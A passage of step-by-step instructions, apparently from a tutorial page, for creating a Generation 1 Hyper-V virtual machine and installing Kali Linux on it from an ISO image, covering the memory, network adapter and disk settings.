  • On the right pane (Action), Click New, Virtual Machine.
  • Type a name for the VM (kali) and click Next.
  • Select “Generation 1” and click Next.
  • Either keep the default for Startup Memory (512MB) or change to 1024 (MB). Check Dynamic Memory if you want the Kali Linux VM to have access to additional memory when needed. Click Next.
  • Select the virtual NIC you created in the second step from the drop down list next to Connection. If you don’t have an option here, go back and configure a new virtual NIC. Click Next.
  • For the Virtual Hard Disk, select the default or change the size of the disk (127GB by default). It dynamically expands as needed, so make it as large as you think you will need. Click Next.
  • Select “Install an operating system from a bootable CD/DVD-ROM”, select “Image file (.iso)” and select Browse to select the Kali Linux ISO provided in step 1. Click Next.
  • Click Finish.
  • Double-Click on the new VM and click start. The Kali Linux installer should start. Select Install.
  • Follow the Kali Linux install prompts to install.

 

I have also had success with disabling all of the Integration services or running one of the Kali Live options.

 

 

Load more